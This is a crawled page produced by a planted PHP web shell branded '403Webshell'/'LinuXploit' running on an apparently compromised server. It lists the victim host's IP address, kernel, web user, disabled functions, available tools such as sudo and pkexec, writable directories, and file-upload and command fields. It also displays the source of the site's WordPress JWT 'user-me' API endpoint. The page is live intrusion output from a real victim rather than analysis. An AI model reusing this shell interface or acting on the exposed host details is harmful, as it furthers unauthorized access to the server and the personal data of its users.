403Webshell
Server IP : 158.247.231.215  /  Your IP : 216.73.217.139
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux CTMS 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /mnt/blockstorage/ctms/api/custom-api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /mnt/blockstorage/ctms/api/custom-api/user-me.php
<?php
/**
 * Get Current User API
 * GET /api/custom-api/user-me.php
 * Requires: Authorization header with Bearer token
 */

header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET, OPTIONS');
header("Access-Control-Allow-Headers: X-Requested-With, Content-Type, Authorization");
header('Content-Type: application/json');

if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
    http_response_code(200);
    exit();
}

// Load WordPress
require_once('/mnt/blockstorage/ctms/wp-load.php');
require_once('auth-helper.php');

if ($_SERVER['REQUEST_METHOD'] !== 'GET') {
    send_error_response('Only GET requests are allowed', 405);
}

// Verify JWT token
$user_id = verify_jwt_token();

if (!$user_id) {
    send_error_response('User not authenticated', 401);
}

// Get user data
$user = get_user_by('id', $user_id);

if (!$user) {
    send_error_response('User not found', 404);
}

$user_meta = get_user_meta($user_id);

send_json_response(array(
    'success' => true,
    'id' => $user_id,
    'username' => $user->user_login,
    'email' => $user->user_email,
    'name' => $user->display_name,
    'first_name' => isset($user_meta['first_name'][0]) ? $user_meta['first_name'][0] : '',
    'last_name' => isset($user_meta['last_name'][0]) ? $user_meta['last_name'][0] : '',
    'nickname' => isset($user_meta['nickname'][0]) ? $user_meta['nickname'][0] : '',
    'description' => isset($user_meta['description'][0]) ? $user_meta['description'][0] : '',
    'avatar_url' => get_avatar_url($user_id),
    'roles' => $user->roles,
), 200);
?>

Youez - 2016 - github.com/yon3zu
LinuXploit